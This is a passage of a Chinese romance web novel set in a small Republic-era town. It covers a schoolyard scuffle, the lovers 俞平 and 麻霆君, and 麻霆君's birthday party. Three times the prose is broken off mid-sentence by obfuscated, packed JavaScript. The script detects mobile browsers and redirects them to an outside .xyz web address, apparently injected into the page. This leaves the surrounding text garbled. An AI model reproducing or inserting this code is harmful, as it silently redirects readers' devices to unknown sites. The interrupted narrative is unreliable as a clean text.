俞平被她打了两拳,也不恼,哈哈笑着。兰香想不通他高兴什么,变本加厉,去踩他的脚,他比兰香身高腿长,屡屡不让她得逞;欢声笑语中离电影院愈来愈近,看得见前头扎堆的黄包车夫。 这时兰香突然尖叫一声,俞平猛地回头,只见石头牵着她的麻花辫,狞笑道:“詹兰香,我可不是什么大度之人,快赔我辫子!” 石头来势汹汹,书包交给一旁的跟班背着,手上提着把大剪刀。兰香往后一瞄,吓得不敢轻举妄动。 电影院是去往许多镇子的必经之路,人流密集,石头偏等人稀稀疏疏把他们包围在一圈内,才道:“各位同学,本石小爷做人讲究‘以牙还牙,以眼还眼’,詹兰香把我辫子剪了,我是不是也不该放过她?” 兰香不想失了气势,大声道:“谁叫你捉毛虫吓唬女生?我没把你剃成光头不错了!” 石头道:“既然你不把我剃成光头,我来把你剃成光头!” 围观群众之中有想为兰香打抱不平的,忌惮他的剪刀,躲在原处,高声道:“男子汉,大丈夫,欺负詹兰香算什么种?” 石头道:“我是不欺负女人,可詹兰香太过分了!” 兰香闹腾道:“我管你欺不欺负女人,俞平,揍他!” 眼前的石头个子不比麻霆君高,却是五大三粗的,满脸横肉。家里招募保镖,定是把他当作范本。俞平看的发怵,早忘记先前挑衅麻霆君的心境,真有些畏缩,却没有不上前的道理。一阵搏斗,他轻而易举叫几个跟班败阵,可惜兰香被当作人质,不敢轻举妄动。 石头必然不把他放在眼里,抛下兰香,三下五除二便把他摔在地上,拿剪刀朝他刺去。 52.红叶 “石头大哥,刀下留人。” 阿吉轻松吹了声口哨,道,“都说君子动口不动手,动手也就罢了,怎么拿把剪刀吓唬人?” 俞平双手撑地,勉强坐起,手心里火辣辣地疼,原是被沙砾磨破了。阿吉来捞他的胳膊,他不知怎得犯起腿软,阿吉硬是没把他拉起来——麻霆君的脸上便不太好看了,连同高大身材都是黑沉沉一片,蹲下身,肩膀送给俞平环牢,把他抱了起来。 有旁人在场,麻霆君多少有些收敛,单是帮俞平掸去身上尘土。俞平怕他小事化大,道:“没事的,一点擦伤而已。” “一点擦伤?” 麻霆君扭来他的手心看,顿时心疼不已,去阿吉包里拿了水杯,哗哗为他冲洗着。 兰香脱离魔爪后便躲在小姊妹中,忍着不掉眼泪,阿吉挡在前面。 石头不满道:“李喆,这是什么意思?” 阿吉道:“我家五爷碰巧路过,听说你们这里在打架,特地前来主持公道。” 石头不说话,光是看着麻霆君痛俞平你侬我侬。阿吉看他们也不对劲,硬着头皮,反而斥责起石头,道:“不是你平时总把五爷挂在嘴边么?现在五爷肯为你做主,你还问是什么意思?” 石头后退一步,道:“我当然乐意,请五爷明辨是非。” 然而麻霆君还在检查俞平身上哪里存着其他的伤口,若非围观者众多,早要把俞平剥干净,拿放大镜细细检查一番。看得阿吉汗如雨下,小心提醒道:“五爷,大家等着呢!” 麻霆君冷漠道:“吵什么,我不知道?” 便再在俞平手臂上翻来覆去看,蚊虫叮咬的痕迹都不肯放过,自己气自己。 俞平靠着麻霆君,小声道:“这事他和兰香都有错,说不清楚。你干脆让我和他打一架,谁嬴谁输,高下立判。” 麻霆君温和笑道:“我知道,我怎么不知道?你若是用技巧出手,他第一个招架不过。既然我来了,不如你省些力气,我去和他好好说一说。” 鹭镇的少年之中,麻霆君最大,没有人不崇拜他的,石头自当占在崇拜者的第一批,平日与麻霆君有些交情。一见他朝自己走来,热情道:“五爷!” 麻霆君应一声,忍着气,道:“打我的人?” 俞平细皮嫩肉,经不住磕碰,他看得一时气血上涌,属实口不择言——阿吉面露惶恐,赶在众人反应之前,补救道:“你个破石头!俞平在我们公馆做短工,是五爷的英文老师。拳头不长眼,你也不长眼?怎么好打五爷的老师,太过分了!” 石头道:“我不过轻轻推了他一把,谁知道他弱不禁风。” 阿吉道:“石大哥,你的‘轻轻’要是挨在我身上,我的骨头也好折了。” 石头道:“这不尽怨我!” “好了,俞平来告假的时候说明过,我知道你们什么恩怨,我自有判断。” 麻霆君打断他们,先叫石头说话,“我来时看见了,若真是寻常打闹,你怎么拿剪刀对着他?” 石头失了一半底气,道:“我是吓唬他……” 兰香帮腔道:“吓唬人也不能这么吓唬!” 麻霆君道:“我再晚来一步,岂不是要闹出人命了。” 阿吉也道:“冤有头债有主,你报复詹兰香就算了,怎么把俞平牵扯进来?” 石头激动道:“五爷,难道俞平没错吗?” 不料麻霆君更是激动,道:“俞平错哪了?你自己心术不正,怎么赖他?” 石头愣了半晌,总算意识到世态炎凉,可惜为时已晚。他后退几步,直指麻霆君,道:“你们蛇鼠一窝啊!” 围观群众里哗笑纷纷,没有来帮助他的。眼见寡不敌众,石头转了半圈,露出后脑勺,道:“俞平姑且不谈,詹兰香剪我辫子这茬怎么算?” 麻霆君道:“新时代的青年,哪有留辫子的?你预备一辈子不剪辫吗?” 阿吉道:“对,我记得你号称最欣赏五爷,五爷是剪短发的,你也不学学?” 石头又道:“詹兰香平日拉帮结派,孤立我!” 兰香辩驳道:“我是好心提醒他们,反倒是你,每天捉毛虫放别人课桌里,谁想和你玩在一起!” “好了!”麻霆君把他们二人分开,“这件事,只有俞平是无辜的,你们几个都有错。真要计较,大家都来我家好好把事情说清楚。” 俞平旁观许久,心里一言难尽,倘使他这辈子受挫仅限于被毛虫吓唬、被剪了头发,他不至于如此凄苦。便道:“算了,各退一步,道过歉就算结束了,以后都不要再犯。” 兰香嫌他太客气,正要改他的口,麻霆君不假思索道:“好,那你们快道歉吧。” 围观群众见他下的决定还算公正,你一言我一语,把石头与兰香推在一起。石头满脸不情不愿,兰香上前一步,伸出手示好,主动道:“我不该剪你头发的,对不起。可确实是你有错在先。” 石头无路可退,与她握手交好,垂着头道:“詹兰香,对不住,我保证再也不欺负别人了……我回去就把家里的毛虫都放生,以后要是有人被吓到,便与我无关了。” 兰香道:“你还养毛虫?” 石头道:“养了一个夏天呢!” “有你这种人?” 阿吉遣了围观群众,知道麻霆君一点心思,不想被众人看见,特地去电影院门口买了冷饮回来,一人一杯分了。再度出发时,原本热闹场地已然稀稀拉拉,秋风萧瑟卷在前面。 俞平忍笑许久,回头确认他们走的走,散的散,才肯道:“以前和你还不熟悉的时候,总看见石头和你玩在一起,可现在你却包庇我。要我作旁观者,看着也寒心。” 谁知麻霆君眼底有光亮闪过,欣喜道:“咦,你这么关注我?” 俞平自己咬了自己的舌头,道:“没有这种事。” 麻霆君步子都不大迈得稳,边走边踮脚,几步路心花怒放。俞平嫌大庭广众下太丢脸,管自己快步走了。麻霆君面带一抹微笑追了上来,道:“平儿,你怎么想到和他打架?” 俞平道:“只准和你打?” “和我打倒是无所谓,我下手有分寸。方才太吓人了,你也不慌?” “你下手有分寸?不见得你放过水。” 麻霆君眼睛转一轮,想来是初见没多久,在布店起争执的那一回,笑道:“对不住,实在对不住。我那时以为你很讨厌我。” 俞平装着冷淡道:“哦,现在也没多喜欢。” “那么,再比一场,我任你出气。” 俞平作势往他手臂上挥拳,不料动静太大,自己擦伤处先疼起来。麻霆君也不作糊涂模样了,往他手心里吹气,可惜这人太上了心,鼻尖抵在他手心完好的皮肉,他痒酥酥的,情不自禁要笑起来。 麻霆君道:“一会去我家,擦碘酒消毒。” 俞平笑道:“就属五爷虎背蜂腰螳螂腿,不许我也强健一些?我真不是脆弱的玻璃人偶。” 麻霆君便道:“玻璃人偶,强健人偶,受了伤都要一视同仁医治的。” 俞平道:“只怕到了麻公馆,我的伤已经愈合了。” 麻霆君没能得逞,十分委屈,管自己生起闷气;俞平频频偷瞄着他,最终忍不住伸手,往他鼻尖上弹了一记,道:“干什么?” “早知道就早点出发了,省得你和石头打架。他家开肉铺,下手没轻重。” “我都没有不高兴,你有什么好难受的,你是我的小狗么?” 麻霆君气鼓鼓道:“是你的小狗就好了!我一定扑上去咬他们。” 俞平笑道:“我的小狗都可乖了,哪有乱咬人的?” 又道:“你原本是为了什么来学堂的,他们又要叫你捐款吗?” 麻霆君后退半步,伺机把他揽在怀里,不肯松手,低声道:“说是要考验我,不允许我想你了?” 俞平努力挣扎几趟都无济于事,便撇过头,道:“不过几天没见。” 麻霆君道:“说得轻巧,你再不来,二十六个英文字,我只记得六个了。” “笨成这样还学什么?做人脚踏实地,好好问家里讨一口饭吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919226|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 俞平从他怀里钻出去,走在他的前面,返身倒退着前进,道,“或者去求谈四爷哀怜你,少自食其力!” 这话说得太得意,他一时犯马虎,脚后跟绊在石子上,踉跄几步,麻霆君一把将他拽回来后,便是说什么不肯放过他了,就算避人耳目,也牢牢牵着他没受伤的手腕不放。 晃悠到了镇口,麻霆君想同他说几句话,不知从何开口,低头先见他衣冠不整,道:“好歹是我的家庭教师,衣扣钉得尽开了线。不如明天一起去枢城,我好好给你打扮一场,把你也变成个小少爷。” 俞平不肯说话,麻霆君以为自己耳背,便微微弯腰,把耳朵凑在他嘴边。 “唉呀,不去!” 俞平拧起他的脸,他反而来蹭俞平的手,俞平只好再把他扇开,道,“这世道真是变了,要占我的便宜,买几套新衣就够了。” 麻霆君道:“哪里,我是真想关照你!你也知道我比旁人笨,那么,我的坏心思也比旁人少。” 俞平斜眼看他一眼,道:“本来就不聪明,好像是我把你说笨的一样。” “就当我是真的笨,明天去一起枢城吧,我还想到银行转一转。” “没了我,路都走不动?” “我是想这么说,怕你又冤枉我。” “心领了,明天还要来给我家小姐当书童。” 说话间,布店近在咫尺。前头的兰香忽然顿了脚步,小蝴蝶似的飞到他们身前,笑道:“五爷,俞平有回叫我看他脸上有没有写字,我那时不知道,现在倒是看清楚了。五爷看得见吗?” 麻霆君一怔,先转头看一眼俞平,又道:“哪里?” 兰香一板一眼道:“本人俞平,今生今世唯爱麻霆君一人。这处的‘麻霆君’,一贯只有他这么放肆,我们都是叫五爷的。” 俞平上前把她推走,道:“一个阿吉不够你折腾?” 兰香狂笑道:“唉,心里话被人说了出来,总是不好受的!” 说罢,她脚步迅速地进了布店。阿吉远远地朝他们笑,再走出几步,背过身去望风。 最是该分开的时间,麻霆君不肯走,没事找事,撩俞平耳朵上的鬓发看,道:“怎么还是这副银耳堵,我给你买的一副呢?” 俞平把他手拍下来,道:“那耳坠子太长了,多不像话。” 麻霆君笑道:“我有一个请求。快到我的生日了,我要向你许个愿望:我想看你戴那副白的。” “想想就行了,我才不戴。” 俞平不用看他,便知道自己无论如何拗不过,又道,“那么,我也有个愿望。” 他背后有阿吉望风,俞平便迅速回头望了望,见没人经过,踮着脚,亲了他的额头,道:“刚才谢谢你,下次不准包庇我了。” 麻霆君面颊轻轻染上一阵红,原地跺了两步,闷闷道:“要是还有人欺负你,我照样不会放过他的。” 俞平道:“行,白耳坠的事情就算了。” 麻霆君笑了笑,头垂得更低,少倾再扬起,有模有样地也在他眉心啄了一口:“我答应不包庇你,你也算答应我了。明天见。” “谁和你明天见?强买强卖不作数的。” 二人再嬉笑一阵,麻霆君最后往他额头上啄一记,提了阿吉离开。傍晚时分,布店里电灯开得亮堂,俞平却是珍惜起天光,心里着实怅然若失。他不想麻霆君走,几步赶去二楼。 詹兰竹卧室连带一方小小阳台,正朝后门。此时兰竹正在厨房烧火,兰香在楼下点新到的洋布,俞平悄无声息踱了进去,看见底下麻霆君的背影,微风拨弄他的头发纷纷扬扬。麻霆君岂舍得下?同样是频频回头看着,俞平根本无需开口引他的注意。 秋光明媚着,麻霆君的脸照得十分亮堂。他听见自己大声说着爱他,直至麻霆君转至巷角,才发觉自己的嘴始终牢牢闭着。 麻霆君背影融在秋色里,最后朝他挥着手——这个人是与他互相爱恋着,他们的心是牢牢吸在一起的。俞平心中一阵惘然,若是有残存什么壁垒,一概一点点地破碎掉了。 53.二一 秋收过后,鹭镇陷入一阵长而久的无所事事之中,其间最大的新闻,莫过于芳龄二十一的麻霆君即将芳龄二十二。这句时常叫嚣在鹭镇上的谚语,趁着时效未过,最后一阵响了起来: “我们五爷年方二一,仪表堂堂,待字闺中,洁身自好。” 最油腔滑调的是阿吉: “我们五爷年方二一,仪表堂堂,马上就不待字闺中、不洁身自好啦。” 往常他犯浑,大家也就相视一笑,这时非要有人来捧他的场:“李喆,你说他为什么马上不待字闺中,不洁身自好?” 胖子瘦子两阵杀气腾腾,都在身后监督,阿吉是万万不可能讲出实话的,嘿嘿一笑,道:“五爷就算不待字闺中,不洁身自好,也要等他大一岁再说。你们等着瞧就是了。” 凡是孩子都是一个路数,叫人省心的,讨不着父母的巧。麻家一群孩子里,老爷最初疼爱的实则是麻添姝,麻添姝叫他喜出望外地早早出嫁了,便轮至麻霆君。 每一年,老爷都主张大张旗鼓办一办麻霆君的生日宴,到头来都不尽人意;去年还别出心裁安排相亲会,谁知麻霆君这般不争气,把自己锁在房间,死活不肯出去。 今年老爷总算灰心丧气了,拨了款子,叫他自己办。麻霆君稍作思考,把它细细分了份:一份捐在鹭镇公共事业,一份请了朋友来作客。 那天颜家的车到的最早。麻添姝与丈夫、颜青,一行人光鲜亮丽地下来。郁蕙心半只脚踏在颜家,半只脚踏在谈家,不论是为了麻霆君抑或谈凭玉,都有必须来鹭镇的道理,碰巧他们热情邀请,便随着他们一起来了。 Wilson坐单龙的车,最鬼鬼祟祟,不像是参加生日会的。郁蕙心方从车上跳下,往贼骨头扎堆里钻。单龙见了她,恭敬问过好,掀后备箱拿礼物。底下几大包都是给四少爷带的生活用品,不知道寻什么借口送,唯独一方纸盒交在郁蕙心手上。 郁蕙心顺手掂了掂,当是给麻霆君的礼物,心生邪念,笑道:“也是凭玉叫你带的?” 单龙挠头道:“那位爷吩咐过了,不让我挑明,只说是给四奶奶的一点心意。” 缎带上扎着祝福卡片,不像寻常人手笔,郁蕙心瞄一眼,心里顿时明了。四下不见俞平踪迹,便拦下过路佣人,道:“俞平来了吗?” 俞平正在卧室伺候麻霆君更衣。 布店的三个孩子都受到了邀请,去麻公馆轻车熟路,到得最早。兰香与兰竹被胖子哄去吃水果,俞平本是跟着他们一起,不想半路杀出个竹竿似的瘦子,把他挑上三楼。 黑兔作为麻霆君抛出的诱饵,准确无误钓准了俞平。俞平一见黑兔挪不开脚步,抱在怀里,爱不释手。抱至麻霆君提了两件羊绒开衫出来,一见灰一件白,问他哪一件好看;他心思本就不在麻霆君身上,此时愈发如此,随口答得麻霆君不满意,强硬接下了黑兔。 他手心里还捏着七夕在小摊上买的白贝母耳坠子,不敢用力,怕是还没戴几轮便剥了漆,只好让麻霆君横刀夺爱了。 麻霆君抱过狗,放生至门口,叫瘦子照顾,再返回来,摊平了手在俞平面前,俞平藏不住笑,把耳坠子拍进他的手心,道:“狗鼻子,有这么灵!” “知道我是狗鼻子还瞒着我?” “嗳,逗得就是你。” “看清了,寿星在这里。” 麻霆君指指自己,又道,“在布店这么久,叫我检查一下你的眼光,你说哪一件适合我?” 他问得若真是适合与否,俞平倒也不想冷落了他。他摆明了要请俞平称心如意,俞平便懒懒道:“寿星,要是脸不尽人意,穿什么都不相干。有人和你讲过这个道理吗?” 麻霆君被他噎着,说不出话,许久弯腰凑在镜子旁,因为肩宽体阔,委屈也放大得格外明显。俞平笑着上前哄道:“我们五爷年方二一,仪表堂堂,不论我刚才那话说的是谁,都轮不着你。” 麻霆君三下五除二任他哄明白了,道:“过了今晚,就二十二了。” 俞平道:“大一岁,莫不是更笨了?” 麻霆君道:“总说我笨!不笨也被你说笨了,要是哪一天真如你的意,我第一个不肯放过你。” 俞平道:“我的嘴要真是有这么灵,我现在已经做少爷了。” 这话本是他无心一提,稍微藏几丝试探,不想麻霆君当了真,把灰色的一件比划在他身上,惊喜道:“哎呀,刚好!” 俞平衬在羊绒衫后头,脸上的微笑有些勉强,道:“你又闹什么?” “前几天收拾房间,找出好几件没穿过的衣服。这件买的年数早,又是羊绒,稍微小一些,没想到你应该合适。”麻霆君又道,“不是要做少爷吗?人靠衣装马靠鞍,换上看看。” 俞平心里一阵退缩:他们是见过的,亏是麻霆君印象模糊,才得以让他糊弄到现在。万一出来是个四爷的模样,不说前功尽弃,鹭镇上的逍遥日子是没得过了。忙道:“我是个下人,怎么好穿少爷的衣服?” 麻霆君道:“我是寿星,全听我的。” 眼下配了一套西装,撺掇着叫他换上。 衣帽间里一方硕大的落地穿衣镜,俞平系完扣子,撩着头发戴耳坠子,一套换下来,后退几步,不免大吃一惊:去除头发长了些,拇指上空了些,一切好像与先前别无二样。这般张扬,谁看不是谈凭玉?俞平动动嘴角,那死在镜中的谈凭玉也朝他笑一笑。 他空洞地盯着另一个自己,只觉得自己要被吸了进去,去往另一个空间,回到他本该生活的世界里。外头麻霆君敲门催促,他方如梦初醒——门外有人期待着他——对了,还有人期待着!俞平平复心情,把前额碎发搅得更胡乱,开了门,白贝母坠子被风带的往后飘。 麻霆君本就怀抱憧憬,见到他后更是两眼发光,道:“真神气,我就说能把你打扮成个小少爷!” 那白贝母冰凉地悬在耳垂,俞平才发觉麻霆君的外套是白色的;两人的颜色尽是一类,斑斑点点在各自身上,他的生日还有两个月,还未到来,不想愈发笨的竟是他了,便低头轻笑一声。 麻霆君当他害羞,又道:“平儿,你本身长得就很俊……” 俞平打断道:“五爷这般浅薄,是这样才接近我的?” 麻霆君倏地红了脸,道:“不是!” 这话说得实在违背良心,麻霆君要想改口,却一时语塞。俞平看他十分窘迫,笑得属实高兴。他便忸怩一步,看架势,作势要来讨个拥抱。 俞平自然不给麻霆君什么机会,扭头就走,回头道:“我先下去,你再等一等。我可不想抢了寿星的风头。” 郁蕙心前几日来电,说是受了麻霆君的邀请,问他需要什么,她能够带过来。那时俞平夹着听筒,想不清楚,此时真想出二三事,伸长脖子寻她的影。 车旁见到两个熟悉身影,俞平潜行过去。单龙光是看见,不作声,任他猛地拍了郁蕙心的肩膀。 郁蕙心吓一跳,回头见是他,立刻拧了他的脸,道:“小少爷,不装了?” 上下打量一眼,又道:“这一身虽然次了些,派头还是在的。” 俞平笑道:“忘了同你讲,我一直在装前任水手,你可别忘了。” 郁蕙心道:“既然是装,总有真相大白的一天。真的假不了,假的真不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931637|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 俞平道:“我记得上月家里要给我办葬礼,现在怎么样了?” 郁蕙心朝单龙递个眼色,叫他去望风,和俞平去到车尾,小声道:“文翡都知道你下落了,怎么办的下去?他难得和你姐姐齐心编了个谎言,说你偷偷换船去东洋,找花魁吃酒,一时鬼迷心窍,不肯回家。” 俞平愣道:“真是这么说的?” 郁蕙心点点头。俞平瞪圆一双眼,不可置信,又道:“他们相信了?” “怎么不信?”郁蕙心笑道,“他们把你压抑这么久,你不爆发才不正常。听说你爸爸很是愧疚,等你回去,兴许还要好好补偿你。” 她掀后备箱,为俞平分门别类介绍什么包裹里装着什么,俞平在鹭镇勉强自给自足,何况从前应有尽有,有得实在太多,便向来不贪图物质,也没继续看的心思,卯足了劲往郁蕙心嘴里套话,道:“我从未出过国,他们怎么想得出我在东洋?” “严太太常住京都,你想得到去东洋也正常。就是不知道严家会不会派人来找你……文翡会想办法的。” 郁蕙心瞧他一眼,又道,“报社都知道了,过几天就刊登出来。” 俞平局促道:“那么,有说花魁是男是女?” 郁蕙心拼命捂着嘴,仍然笑弯了腰,道:“谈凭玉,难怪你文翡说你不错,你还挺可爱的?” “好姐姐,别笑话我了。” “是男是女都是一样,你是四爷,娶谁不是四奶奶。” 郁蕙心再笑一阵,也忘了方才介绍到哪里,便从角落里牵来一个纸袋子,俞平看着眼熟,记得是香岛闻名的手信,约莫近来在枢城开了分店;郁蕙心扯开顶上的蝴蝶结,拿出三个一式一样的扁盒,都是雪花杏仁片,再抽出一盒塞在俞平手里,道:“麻霆君过生日,你可以把这个送给他。” 俞平发自肺腑地困惑道:“雪花杏仁片也能送人?” “这就是我们的良苦用心了。你对钱没数目,不送雪花杏仁片——”郁蕙心手掌张开在他眼前,五根纤长手指抖动一阵,笑道,“送鸽子蛋么,粉红钻,听说香岛新拍了一颗,指甲盖一点大,你猜有多贵?” 俞平轻笑一声,道:“你知道的,我对钱没数目。” 郁蕙心再塞了个纸盒在他手里,道:“这是给谈四奶奶的一点心意,考验一下四爷,市值多少?” 俞平心里空空荡荡,只觉得耳边风声呼啸更是吵闹,拆散蝴蝶结,见到里头托着一对翡翠平安扣,绿得发谎,好像两颗毒蛇眼睛。他心中也被毒牙刺了一记,仓促盖上盒子,交还给郁蕙心,道:“还回去吧,没有四奶奶。” 郁蕙心耸耸肩,把礼盒潦草塞进皮包,唤回单龙,圈了几包生活用品给他看,又道:“你没在鹭镇亮明身份,用得太好,若是旁人怀疑,你怎么答?” 俞平顺口道:“说是麻霆君送的,他们不会猜忌。” 郁蕙心不置单龙把她展开的东西利落收拾着,道:“四爷,你住在哪里,我给你送过去。” 俞平道:“镇上的布店,离这里有些路,你开车过去吧。” 郁蕙心道:“咦,你不住麻公馆?” 俞平道:“我为什么住麻公馆?” 郁蕙心盯他一阵,倏地开朗笑道:“闹了这么久,没给麻霆君个名分吗?” “要给也是四爷给,我现在是什么?明天不是被抓回去,就是被人拿来立威。” “都说夹紧尾巴做人,你格外紧!” “小心驶得万年船!” 正说着,前厅里出了个家丁,朝外面的宾客喊着:“五爷的生日宴开始了,请各位去宴会厅!” 54.蛋糕 难得光鲜亮丽一回,俞平不敢太招摇,捏着一盒雪花杏仁片,躲在郁蕙心身后一起走。还不知道麻霆君在哪个厅,后背猛然被人一拍: “哇,不愧是五少奶奶,已经脱胎换骨了,我们都认不出来!” 兰香本是特地来捉弄俞平,就怕自己的口舌欠缺火候,看见郁蕙心了,忽然变得十分害羞,反而钻在俞平身后。郁蕙心回过头笑一笑,她更是说不出话,把俞平的羊绒衫攥了一把绒毛在手心,语气催促地问道:“平儿,她是谁?” 俞平介绍她们认识:“这是郁蕙心,我们认识很多年了,你当她也算我的姐姐。” 郁蕙心道:“少奶何出此言?平时可没把我当作姐姐。” 兰香笑了一阵,照旧腼腆,道:“我是詹兰香,是平儿的小姊妹。” 拉来詹兰竹,又道:“这是我的哥哥詹兰竹,也是平儿的哥哥。” 只有郁蕙心知道他名字寓意,便道:“凭儿?怎么变成凭儿了?” 兰香笑道:“这就要问五爷了,五爷讲得出他为什么是平儿。” 姑娘之间没有玩不好的,尤其为了一位谈四奶奶、一位麻五奶奶,立刻有说有笑地熟络起来。一旁受到冷落的二人自动组成一队,詹兰竹指着远处,朝俞平道:“看准了,以我在枢城两年的时间打包票,那个洋人边上穿西装的,大有来头。” 俞平眼睛眯一阵——詹兰竹嘴里提及的颜青,捕获落在他身上的目光,扭头来抛一个媚眼,一见是俞平在其中艳光四射,立刻吓得魂不附体,口型都变得结结巴巴,踌躇一阵,走上前来。 詹兰竹不知道他正为他们而来的,只不想被他听到,抓紧时间,又道:“他是枢城出了名的浪荡公子,连我都知道……” 这位浪荡公子恰是在他们面前停止的。詹兰竹发了怵,紧张道:“他不会听见了吧?” 纵使他的声音响到这三人一清二楚,他依然扯了更大的嗓门,掩耳盗铃,鞠躬道:“颜二爷好!” 颜青早顾不上他: “俞……俞先生。” 颜青吓得直哆嗦,玻璃杯打在手心里叮咚作响,道,“听说前阵子您头疼,来枢城治病,诊所就在我家旁……我……小人真是无能……也没能为您出力……” 这种人俞平见得多,以往谈公馆的宴会请宾客,总有喝的酩酊大醉对他出言不逊的,往后看见翡翠扳指,一切酒都醒了。颜青混入其中,还有几分率真,除去情爱,或许称得上是个好人。 他不想为难颜青,便道:“没事的。” 郁蕙心拍着颜青的肩膀,笑道:“人家就是因为看见你才不高兴的,赶紧滚吧。” 兰香帮忙道:“对,这位已经是五少奶奶了。” 颜青准没预料到麻霆君狗胆包天,十足吓一跳,又道:“我滚,我滚。” 走时不忘凑在郁蕙心耳畔,道:“四爷回来了,这事是真的吗?” 郁蕙心瞄一眼俞平,笑道:“早呢。何况他要报复的人多了去,轮不到你。” “他那么‘见不得光’,除了我,还有谁得罪他?” “麻霆君么,你我心里都门清。” 颜青苦涩一笑,感情复杂地望了眼俞平,走回哥嫂身旁。 詹兰竹不可思议,拉着俞平,道:“你有这么大的本事?” 兰香不知天高地厚,替他回答了:“找得靠山好,什么都不用愁。五少奶奶,是不是?” 俞平耳畔有些发烫,把雪花杏仁片先交到郁蕙心手里,才有空拨了头发,道:“没有五少奶奶。” 兰香笑道:“没有五少奶奶,怎么穿着五爷的衣服?” 生日宴上的奶油蛋糕是枢城买回来的,一类颜色做了一只,铺满一张长桌。麻霆君清点完后厨事宜,出来见到俞平与郁蕙心周围围了一圈,自己必然是挤不进去了,便亮出个点子,支了阿吉把他们打发开。 胖子吆喝道:“对不起,对不起,各位停一停活计,来切蛋糕了!” 人群簇拥至长桌旁,阿吉反而把他们往外沿拐。他平日调皮捣蛋惯了,见到郁蕙心也服服帖帖,想来她和俞平关系不错,再有兰香兰竹坐镇,便格外卖力,油腔滑调地说开了: “我们五爷年方二二,仪表堂堂,待字闺中,洁身自好。” 阿吉朝俞平努努嘴,又道,“包那位满意。” 郁蕙心哈哈大笑,提高了音量,道:“麻霆君,怎么不让凭儿切蛋糕!” Wilson支持道:“霆君,我教过你要绅士,be a gentleman!” 麻霆君早有此意,只怕俞平不买他的情,双方都下不了台,此般要为俞平拒绝,然而人群之中钻出来一只白狐狸,轻悄地绕上了他。 众人皆是屏息凝神,阿吉紧张地踮着脚。以阿吉的眼光——对白鹭镇而言,俞平着实是妖孽。仅仅抬眼瞥一眼麻霆君,好像他身后九条尾巴正施展开来,顺着麻霆君的脚踝向上缠,从头到脚从里到外,严丝合缝裹着他每一寸。这还仅仅是一瞥。 阿吉不可置信地揉揉眼睛,却见俞平的脸上难得的宁静,好像什么表情都没做,又好像什么都做了,逼迫麻霆君与了自己,吻得情不自已,难舍难分。 五爷身上的血泪还不够说明么?人真是不能贪心:谈凭玉十万大洋没混着,枢城的快船没乘上,竹篮打水一场空便算了,本来无尘埃;谁知捞上来个狐狸精,是福是祸都道不明。 阿吉怔怔捂着胸口,只觉得一颗心悬至嗓子眼。 “刀呢?” 俞平笑道,“拿什么切蛋糕,直接劈开吗?” 瘦子本就提防着他,此时更是早早做了准备,百毒不侵,勉强算个能够活动手脚的,把浸在热水里的蛋糕刀擦拭干净,递了上来。 麻霆君一手握着刀,另一只手顺其自然地把俞平搂在怀里。若是两个寻常男子,阿吉与Wilson之流,此等着实太亲昵;这人却是俞平,又是人之常情了,众人便是一阵鸦雀无声,瞧着他们。 俞平靠着他,靠得够了,才道:“都是先许愿再切蛋糕的,你不许愿吗?” 麻霆君笑道:“都怨你,你一来我就忘了。” 俞平道:“怎么怨我?我走了。” 麻霆君环着他的手不肯松开,笑道:“怨我,我太笨了。” 他便把刀放在干净的白餐盘上。俞平借机从他的怀里逃出来,偏了一步,倒是领先在人群中。靠门口的佣人关了灯,厚重窗帘笨重地合上,房间里黢黑一片,只剩几十点火苗盈盈跃动着。 麻霆君大胆了些,微微俯身,唇瓣摩梭着俞平的耳畔,悄悄道:“我把我的愿望送给你,你来许,好吗?” 俞平把他脸拍开,道:“生日愿望都能拱手相让的男人,有什么用?” 麻霆君方才还像个红苹果,被他拍得怔了怔,褪去颜色。纵使屋里昏暗,俞平不愿看个青苹果的模样,抬头在他耳边说话,衔着他的脸颊,吐几个字出来,悄悄赠个吻也察觉不出。 “一年叫我许两次愿,我没这么大的胃口!” 麻霆君软下来,笑道:“我还想,‘多多益善’。” 俞平笑道:“撑死作数。” 这头平息下来,瘦子的尖利嗓音响起:“许愿了,我们五爷开始许愿了,谁来唱歌?” Wilson道:“我来!” 他提高了音量,在前面领唱。大家都是会唱生日快乐歌的,实在有五音不全的,便按节拍鼓掌。 俞平想起他来鹭镇历经第一场夏夜,同麻霆君在法餐厅过假生日,还没有此时这般热闹,只是嘈杂。他不肯动真情,许不出愿望,却不想被识破,上下眼皮偷偷搓开一丝缝,往前面看。烛光之下,一切都显得温馨,麻霆君格外朦胧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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半晌也讲不出什么所以然,绕在长桌后头,拍拍麻霆君的肩膀,道:“兄弟,珍重。” 不敢拍俞平的肩膀,隔着一张桌子,道:“俞先生,祝您幸福。” 兰香过来时候挑三拣四,不要俞平给她的,道:“我要大一点的那一块。” 俞平道:“吃多了不怕蛀牙?” 兰香不睬他,从麻霆君手里接过新来的一块大的,才笑道:“嗳,新婚快乐。” 